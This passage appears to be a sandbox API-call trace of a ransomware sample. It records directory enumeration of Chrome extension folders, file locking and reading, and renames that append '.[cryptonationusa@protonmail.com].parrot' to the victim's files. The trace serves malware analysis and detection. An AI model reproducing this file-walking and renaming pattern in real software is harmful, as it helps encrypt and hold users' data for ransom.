ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8412a780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb78b1b60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb78b1b60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84131cb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb78b1b60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb78b1b60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841391e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb78b1b60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb78b1b60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84140710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb78d7cc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb78d7cc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84147c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb794a0e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb794a0e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84153f90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb794a0e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb794a0e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8415b4c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb79963a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb79963a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841629f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb79bc500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb79bc500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84169f20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb79e2660, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb79e2660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84171450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb79e2660, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb79e2660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84176270, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7a087c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7a087c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8417feb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7a087c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7a087c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841873e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7a087c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7a087c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8418e910, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7a2e920, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7a2e920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84195e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7a2e920, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7a2e920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8419fa80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7a2e920, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7a2e920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841a6fb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7a54a80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7a54a80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ae4e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7a54a80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7a54a80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841b5a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7a7abe0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7a7abe0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841bcf40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7a7abe0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7a7abe0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841c6b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7aa0d40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7aa0d40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ce0b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7aa0d40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7aa0d40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841d55e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7b13160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7b13160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841dcb10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7b5f420, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7b5f420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0070.917] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841eb570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7b85580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7b85580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0070.917] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841f51b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7b85580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7b85580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0070.917] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841fc6e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7bab6e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7bab6e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1 [0070.917] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84203c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7bab6e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7bab6e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0070.917] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8420b140, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7bab6e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7bab6e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0070.917] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84212670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7bd1840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7bd1840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0070.917] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84219ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7bd1840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7bd1840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0070.917] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842210d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7bf79a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7bf79a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0070.917] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84228600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7bf79a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7bf79a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0070.917] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8422fb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7bf79a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7bf79a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0070.917] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8422fb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7bf79a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7bf79a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0070.917] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0070.917] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.917] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842481d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844eed30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844eed30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.917] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.917] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.917] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x844eed30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844eed30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844eed30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="computed_hashes.json", cAlternateFileName="COMPUT~1.JSO")) returned 1 [0070.918] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x278, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.918] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.918] ReadFile (in: hFile=0x27c, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0070.920] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.921] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x160, lpOverlapped=0x0) returned 1 [0070.921] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.921] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x278, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.921] CloseHandle (hObject=0x27c) returned 1 [0070.922] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.928] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2c6e, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.928] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.928] ReadFile (in: hFile=0x27c, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0070.930] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.930] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2b56, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x2b56, lpOverlapped=0x0) returned 1 [0070.932] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.933] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2c6e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.933] CloseHandle (hObject=0x27c) returned 1 [0070.933] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.937] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0070.937] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842481d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7c1db00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7c1db00, 